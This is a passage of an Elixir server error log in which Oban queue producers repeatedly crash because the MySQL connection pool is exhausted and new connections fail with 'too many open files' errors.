{Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.8466>, refresh_timer: #Reference<0.2525715032.1099431938.8461>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:09.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:10:57.253988Z], limit: 5, uuid: "861e586c-67c9-4912-a691-aa343379c694", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:57.253994Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.240142>, refresh_timer: #Reference<0.2525715032.1077411843.240128>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:14.293000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:14.316000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:15.101000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:11:03.237332Z], limit: 10, uuid: "c8800c5b-d7c5-4e3c-9c86-2d1259734742", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:03.237340Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.256829>, refresh_timer: #Reference<0.2525715032.1077411843.240202>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:16.517000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:18.330000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:18.758000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:19.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:11:09.244658Z], limit: 50, uuid: "88e80ccd-b171-4022-bafe-33bad2ddf066", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:09.244664Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257054>, refresh_timer: #Reference<0.2525715032.1099431938.8661>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:11:09.243045Z], limit: 5, uuid: "86309c9e-cfcf-4b36-9fcc-697946c1f654", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:09.243051Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257053>, refresh_timer: #Reference<0.2525715032.1099431938.8627>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:21.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:11:09.252046Z], limit: 5, uuid: "32772e5a-6273-4374-b75f-28c1d275d6ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:09.252053Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257052>, refresh_timer: #Reference<0.2525715032.1099431938.8685>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:11:09.237178Z], limit: 3, uuid: "36735994-40e6-4b07-bcd1-085ea2d1b592", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:09.237187Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257050>, refresh_timer: #Reference<0.2525715032.1068236804.257015>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:11:09.242612Z], limit: 20, uuid: "fd373ea6-31e9-414f-abbd-76a0e25d51c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:09.242621Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257051>, refresh_timer: #Reference<0.2525715032.1099431938.8626>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:26.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:26.596000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:11:15.237327Z], limit: 10, uuid: "c94c65d2-4933-4e14-a56d-ff4366612f51", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:15.237333Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257273>, refresh_timer: #Reference<0.2525715032.1077411843.240333>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:28.834000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:29.421000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
